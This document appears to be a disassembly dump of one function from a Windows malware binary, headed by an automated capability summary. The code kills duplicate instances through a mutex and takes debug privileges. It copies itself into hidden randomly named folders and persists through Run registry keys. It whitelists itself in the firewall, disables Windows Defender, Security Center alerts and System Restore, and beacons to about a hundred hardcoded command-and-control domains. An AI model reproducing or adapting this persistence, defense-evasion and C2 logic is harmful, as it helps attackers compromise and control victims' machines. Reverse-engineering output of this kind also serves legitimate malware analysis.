Function at 0x403d20
Capabilities:
Acquire debug privileges
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create thread
Delete file
Disable windows defender features via registry on windows
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1230
call fcn.00404c00
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401000
mov eax, dword [str.6486894]
mov dword [ebp - 0x46c], eax
mov ecx, dword [0x405c74]
mov dword [ebp - 0x468], ecx
mov ecx, 0xc
mov esi, str.Windows_Operating_System
lea edi, [ebp - 0x464]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0xc58], str.http:__b0t.to_
mov dword [ebp - 0xc54], str.http:__gshrghirhgsgrao.to_
mov dword [ebp - 0xc50], str.http:__hehfaofiehgggao.to_
mov dword [ebp - 0xc4c], str.http:__soghrrsoeuhugao.to_
mov dword [ebp - 0xc48], str.http:__eiiiaoihoaeruao.to_
mov dword [ebp - 0xc44], str.http:__roiriorisioroao.to_
mov dword [ebp - 0xc40], str.http:__ouhgousgoahutao.to_
mov dword [ebp - 0xc3c], str.http:__oeoaoueuoeuoaao.to_
mov dword [ebp - 0xc38], str.http:__aiaizzzezeezeao.to_
mov dword [ebp - 0xc34], str.http:__ouauooaoaoeeuao.to_
mov dword [ebp - 0xc30], str.http:__oeeoeuueueuueao.to_
mov dword [ebp - 0xc2c], str.http:__eobbeaubfeuueao.to_
mov dword [ebp - 0xc28], str.http:__aauaaaeieiieeao.to_
mov dword [ebp - 0xc24], str.http:__aaaeieiiiofffao.to_
mov dword [ebp - 0xc20], str.http:__infineinfinigao.to_
mov dword [ebp - 0xc1c], str.http:__baoefubfbfigoao.to_
mov dword [ebp - 0xc18], str.http:__aaauuwiifoogeao.to_
mov dword [ebp - 0xc14], str.http:__plporsiszsgetao.to_
mov dword [ebp - 0xc10], str.http:__gshrghirhgsgrla.co_
mov dword [ebp - 0xc0c], str.http:__hehfaofiehgggla.co_
mov dword [ebp - 0xc08], str.http:__soghrrsoeuhugla.co_
mov dword [ebp - 0xc04], str.http:__eiiiaoihoaerula.co_
mov dword [ebp - 0xc00], str.http:__roiriorisiorola.co_
mov dword [ebp - 0xbfc], str.http:__ouhgousgoahutla.co_
mov dword [ebp - 0xbf8], str.http:__oeoaoueuoeuoala.co_
mov dword [ebp - 0xbf4], str.http:__aiaizzzezeezela.co_
mov dword [ebp - 0xbf0], str.http:__ouauooaoaoeeula.co_
mov dword [ebp - 0xbec], str.http:__oeeoeuueueuuela.co_
mov dword [ebp - 0xbe8], str.http:__eobbeaubfeuuela.co_
mov dword [ebp - 0xbe4], str.http:__aaaeieiiiofffla.co_
mov dword [ebp - 0xbe0], str.http:__infineinfinigla.co_
mov dword [ebp - 0xbdc], str.http:__baoefubfbfigola.co_
mov dword [ebp - 0xbd8], str.http:__aaauuwiifoogela.co_
mov dword [ebp - 0xbd4], str.http:__plporsiszsgetla.co_
mov dword [ebp - 0xbd0], str.http:__eveezueigohehla.co_
mov dword [ebp - 0xbcc], str.http:__bnioooarubgzdla.co_
mov dword [ebp - 0xbc8], str.http:__aiuauuaaanggila.co_
mov dword [ebp - 0xbc4], str.http:__ghosrurruheudla.co_
mov dword [ebp - 0xbc0], str.http:__hohigoirjgrijla.co_
mov dword [ebp - 0xbbc], str.http:__ghofhauofeofhla.co_
mov dword [ebp - 0xbb8], str.http:__nehfauheudhuela.co_
mov dword [ebp - 0xbb4], str.http:__gouarhofhrufhla.co_
mov dword [ebp - 0xbb0], str.http:__rugeaofhefhugla.co_
mov dword [ebp - 0xbac], str.http:__aefeohaueajdula.co_
mov dword [ebp - 0xba8], str.http:__ghaueouahfuohla.co_
mov dword [ebp - 0xba4], str.http:__rguaouhouaefela.co_
mov dword [ebp - 0xba0], str.http:__aefhuoaeudofrla.co_
mov dword [ebp - 0xb9c], str.http:__guaouehdaouehla.co_
mov dword [ebp - 0xb98], str.http:__feoanoanednuela.co_
mov dword [ebp - 0xb94], str.http:__buaeaefuueofhla.co_
mov dword [ebp - 0xb90], str.http:__bueoueoaoeoadla.co_
mov dword [ebp - 0xb8c], str.http:__lpliouhzieuaela.co_
mov dword [ebp - 0xb88], str.http:__fgeauhfouehurla.co_
mov dword [ebp - 0xb84], str.http:__aefoguaeoueorla.co_
mov dword [ebp - 0xb80], str.http:__eiiiaoihoaerutr.cc_
mov dword [ebp - 0xb7c], str.http:__roiriorisiorotr.cc_
mov dword [ebp - 0xb78], str.http:__ouhgousgoahuttr.cc_
mov dword [ebp - 0xb74], str.http:__oeoaoueuoeuoatr.cc_
mov dword [ebp - 0xb70], str.http:__aiaizzzezeezetr.cc_
mov dword [ebp - 0xb6c], str.http:__ouauooaoaoeeutr.cc_
mov dword [ebp - 0xb68], str.http:__oeeoeuueueuuetr.cc_
mov dword [ebp - 0xb64], str.http:__eobbeaubfeuuetr.cc_
mov dword [ebp - 0xb60], str.http:__aauaaaeieiieetr.cc_
mov dword [ebp - 0xb5c], str.http:__aaaeieiiioffftr.cc_
mov dword [ebp - 0xb58], str.http:__infineinfinigtr.cc_
mov dword [ebp - 0xb54], str.http:__baoefubfbfigotr.cc_
mov dword [ebp - 0xb50], str.http:__aaauuwiifoogetr.cc_
mov dword [ebp - 0xb4c], str.http:__plporsiszsgettr.cc_
mov dword [ebp - 0xb48], str.http:__eveezueigohehtr.cc_
mov dword [ebp - 0xb44], str.http:__bnioooarubgzdtr.cc_
mov dword [ebp - 0xb40], str.http:__gshrghirhgsgrzt.io_
mov dword [ebp - 0xb3c], str.http:__hehfaofiehgggzt.io_
mov dword [ebp - 0xb38], str.http:__soghrrsoeuhugzt.io_
mov dword [ebp - 0xb34], str.http:__eiiiaoihoaeruzt.io_
mov dword [ebp - 0xb30], str.http:__roiriorisiorozt.io_
mov dword [ebp - 0xb2c], str.http:__ouhgousgoahutzt.io_
mov dword [ebp - 0xb28], str.http:__oeoaoueuoeuoazt.io_
mov dword [ebp - 0xb24], str.http:__aiaizzzezeezezt.io_
mov dword [ebp - 0xb20], str.http:__ouauooaoaoeeuzt.io_
mov dword [ebp - 0xb1c], str.http:__oeeoeuueueuuezt.io_
mov dword [ebp - 0xb18], str.http:__eobbeaubfeuuezt.io_
mov dword [ebp - 0xb14], str.http:__aauaaaeieiieezt.io_
mov dword [ebp - 0xb10], str.http:__aaaeieiiiofffzt.io_
mov dword [ebp - 0xb0c], str.http:__infineinfinigzt.io_
mov dword [ebp - 0xb08], str.http:__baoefubfbfigozt.io_
mov dword [ebp - 0xb04], str.http:__gshrghirhgsgrpn.su_
mov dword [ebp - 0xb00], str.http:__hehfaofiehgggpn.su_
mov dword [ebp - 0xafc], str.http:__soghrrsoeuhugpn.su_
mov dword [ebp - 0xaf8], str.http:__eiiiaoihoaerupn.su_
mov dword [ebp - 0xaf4], str.http:__roiriorisioropn.su_
mov dword [ebp - 0xaf0], str.http:__ouhgousgoahutpn.su_
mov dword [ebp - 0xaec], str.http:__oeeoeuueueuuepn.su_
mov dword [ebp - 0xae8], str.http:__eobbeaubfeuuepn.su_
mov dword [ebp - 0xae4], str.http:__aauaaaeieiieepn.su_
mov dword [ebp - 0xae0], str.http:__aaaeieiiiofffpn.su_
mov dword [ebp - 0xadc], str.http:__infineinfinigpn.su_
mov dword [ebp - 0xad8], str.http:__baoefubfbfigopn.su_
mov dword [ebp - 0xad4], str.http:__aaauuwiifoogepn.su_
mov dword [ebp - 0xad0], str.http:__plporsiszsgetpn.su_
mov dword [ebp - 0xacc], str.http:__eveezueigohehpn.su_
mov dword [ebp - 0xc78], str.12345678abcdefghijklmnopqrstuvwxyz
mov dword [ebp - 0xc74], 0x406794
mov dword [ebp - 0xc70], 0x406798
mov dword [ebp - 0xc6c], 0x40679c
mov dword [ebp - 0xc68], 0x4067a0
mov dword [ebp - 0xc64], 0x4067a4
mov dword [ebp - 0xc60], 0x4067a8
mov dword [ebp - 0xc5c], 0x4067ac
mov dword [ebp - 0x1100], 0x4067b0
mov dword [ebp - 0x10fc], 0x4067b4
mov dword [ebp - 0x10f8], 0x4067b8
mov dword [ebp - 0x10f4], 0x4067bc
mov dword [ebp - 0x10f0], 0x4067c0
mov dword [ebp - 0x10ec], 0x4067c4
mov dword [ebp - 0x10e8], 0x4067c8
mov dword [ebp - 0x10e4], 0x4067cc
mov dword [ebp - 0x10e0], 0x4067d0
mov dword [ebp - 0x10dc], 0x4067d4
mov dword [ebp - 0x10d8], 0x4067d8
mov dword [ebp - 0x10d4], 0x4067dc
mov dword [ebp - 0x10d0], 0x4067e0
mov dword [ebp - 0x10cc], 0x4067e4
mov dword [ebp - 0x10c8], 0x4067e8
mov dword [ebp - 0x10c4], 0x4067ec
mov dword [ebp - 0x10c0], 0x4067f0
mov dword [ebp - 0x10bc], 0x4067f4
mov dword [ebp - 0x10b8], 0x4067f8
mov dword [ebp - 0x10b4], 0x4067fc
mov dword [ebp - 0x10b0], 0x406800
mov dword [ebp - 0x10ac], 0x406804
mov dword [ebp - 0x10a8], 0x406808
mov dword [ebp - 0x10a4], 0x40680c
mov dword [ebp - 0x10a0], 0x406810
mov dword [ebp - 0x109c], 0x406814
mov dword [ebp - 0x1098], 0x406818
mov dword [ebp - 0x1094], str._userprofile_
mov dword [ebp - 0x1090], str._systemdrive_
mov dword [ebp - 0x108c], str._temp_
mov dword [ebp - 0x8b4], str.DisableScanOnRealtimeEnable
mov dword [ebp - 0x8b0], str.DisableOnAccessProtection
mov dword [ebp - 0x8ac], str.DisableBehaviorMonitoring
mov dword [ebp - 0x228], str.AntiVirusOverride
mov dword [ebp - 0x224], str.UpdatesOverride
mov dword [ebp - 0x220], str.FirewallOverride
mov dword [ebp - 0x21c], str.AntiVirusDisableNotify
mov dword [ebp - 0x218], str.UpdatesDisableNotify
mov dword [ebp - 0x214], str.AutoUpdateDisableNotify
mov dword [ebp - 0x210], str.FirewallDisableNotify
lea edx, [ebp - 0x46c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x1104], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40435e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0xac4], 0
mov dword [ebp - 0x20c], 1
push 0x208
lea eax, [ebp - 0xac0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.004014e0
push 1
push str.SeDebugPrivilege
call fcn.00402680
add esp, 8
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea ecx, [ebp - 0xac0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x8b8], eax
lea edx, [ebp - 0xac0]
push edx
push str._ls:Zone.Identifier
push 0x208
lea eax, [ebp - 0xe80]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
lea ecx, [ebp - 0xe80]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x406a70
lea edx, [ebp - 0xac0]
push edx
call fcn.00402020
add esp, 8
test eax, eax
jne 0x40471e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1108], 0
jmp 0x404440
mov eax, dword [ebp - 0x1108]
add eax, 1
mov dword [ebp - 0x1108], eax
cmp dword [ebp - 0x1108], 4
jae 0x40471e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea ecx, [ebp - 0x430]
push ecx
mov edx, dword [ebp - 0x1108]
mov eax, dword [ebp + edx*4 - 0x1098]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10fc]
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10fc]
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10fc]
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x19
idiv ecx
mov edx, dword [ebp + edx*4 - 0x10fc]
push edx
push str.sys_ls_ls_ls_ls.exe
lea eax, [ebp - 0x8a8]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x430]
push edx
push str._ls_d_d
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea ecx, [ebp - 0x8a8]
push ecx
lea edx, [ebp - 0x208]
push edx
push str._ls_ls
lea eax, [ebp - 0x1088]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x404719
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0x1088]
push edx
lea eax, [ebp - 0xac0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x404719
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x464]
push ecx
lea edx, [ebp - 0x1088]
push edx
push str._ls::Enabled:_s
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 7
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea edx, [ebp - 0x1088]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xac4]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404636
lea ecx, [ebp - 0x6a0]
push ecx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x6a0]
push eax
push 1
push 0
lea ecx, [ebp - 0x1088]
push ecx
mov edx, dword [ebp - 0xac4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0xac4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xac4]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404698
lea edx, [ebp - 0x1088]
push edx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x1088]
push ecx
push 1
push 0
lea edx, [ebp - 0x464]
push edx
mov eax, dword [ebp - 0xac4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0xac4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0xac4]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4046fa
lea eax, [ebp - 0x1088]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x1088]
push edx
push 1
push 0
lea eax, [ebp - 0x464]
push eax
mov ecx, dword [ebp - 0xac4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0xac4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1088]
push eax
call fcn.004025d0
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x404719
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x404431
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0xac4]
push edx
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_Defender
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40483d
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.DisableAntiSpyware
mov ecx, dword [ebp - 0xac4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea edx, [ebp - 0xac4]
push edx
push 0xf003f
push 0
push 0x406d20
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4047b3
push 0
lea eax, [ebp - 0xac4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push 0x406da8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [ebp - 0xac4]
push ecx
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404830
mov dword [ebp - 0x110c], 0
jmp 0x4047f0
mov edx, dword [ebp - 0x110c]
add edx, 1
mov dword [ebp - 0x110c], edx
cmp dword [ebp - 0x110c], 3
jae 0x404823
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
mov ecx, dword [ebp - 0x110c]
mov edx, dword [ebp + ecx*4 - 0x8b4]
push edx
mov eax, dword [ebp - 0xac4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x4047e1
mov ecx, dword [ebp - 0xac4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0xac4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xac4]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4048c2
mov dword [ebp - 0x1110], 0
jmp 0x404882
mov ecx, dword [ebp - 0x1110]
add ecx, 1
mov dword [ebp - 0x1110], ecx
cmp dword [ebp - 0x1110], 7
jae 0x4048b5
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
mov eax, dword [ebp - 0x1110]
mov ecx, dword [ebp + eax*4 - 0x228]
push ecx
mov edx, dword [ebp - 0xac4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x404873
mov eax, dword [ebp - 0xac4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xac4]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404947
mov dword [ebp - 0x1114], 0
jmp 0x404907
mov edx, dword [ebp - 0x1114]
add edx, 1
mov dword [ebp - 0x1114], edx
cmp dword [ebp - 0x1114], 7
jae 0x40493a
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
mov ecx, dword [ebp - 0x1114]
mov edx, dword [ebp + ecx*4 - 0x228]
push edx
mov eax, dword [ebp - 0xac4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x4048f8
mov ecx, dword [ebp - 0xac4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0xac4]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSystemRestore
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40499d
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.DisableSR
mov ecx, dword [ebp - 0xac4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0xac4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401470
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4024b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402820
movzx eax, al
test eax, eax
je 0x404a5e
mov byte [ebp - 0x1118], 1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1120], 0
jmp 0x404a1e
mov ecx, dword [ebp - 0x1120]
add ecx, 1
mov dword [ebp - 0x1120], ecx
cmp dword [ebp - 0x1120], 0x64
jae 0x404a5e
mov edx, dword [ebp - 0x1120]
mov eax, dword [ebp + edx*4 - 0xc58]
mov dword [ebp - 0x111c], eax
push 0
push 0
lea ecx, [ebp - 0x111c]
push ecx
push 0x4028c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404a0f
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x494], 0
xor edx, edx
mov dword [ebp - 0x490], edx
mov dword [ebp - 0x48c], edx
mov dword [ebp - 0x488], edx
mov dword [ebp - 0x484], edx
mov dword [ebp - 0x480], edx
mov dword [ebp - 0x47c], edx
mov dword [ebp - 0x478], edx
mov dword [ebp - 0x474], edx
mov dword [ebp - 0x470], edx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1124], 0
jmp 0x404ace
mov eax, dword [ebp - 0x1124]
add eax, 1
mov dword [ebp - 0x1124], eax
cmp dword [ebp - 0x1124], 0x64
jae 0x404b7e
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1128], 0
jmp 0x404afe
mov ecx, dword [ebp - 0x1128]
add ecx, 1
mov dword [ebp - 0x1128], ecx
cmp dword [ebp - 0x1128], 8
jae 0x404b79
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1128]
mov eax, dword [ebp + edx*4 - 0xc78]
push eax
mov ecx, dword [ebp - 0x1124]
mov edx, dword [ebp + ecx*4 - 0xc58]
push edx
push str._s_s
lea eax, [ebp - 0x1230]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ecx, dword [ebp - 0x1128]
lea edx, [ebp + ecx*4 - 0x494]
push edx
lea eax, [ebp - 0x1230]
push eax
call fcn.004029a0
add esp, 8
movzx ecx, al
cmp ecx, 1
jne 0x404b74
lea edx, [ebp - 0x1230]
push edx
call fcn.00401800
add esp, 4
jmp 0x404aef
jmp 0x404abf
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 0xa
add edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404aab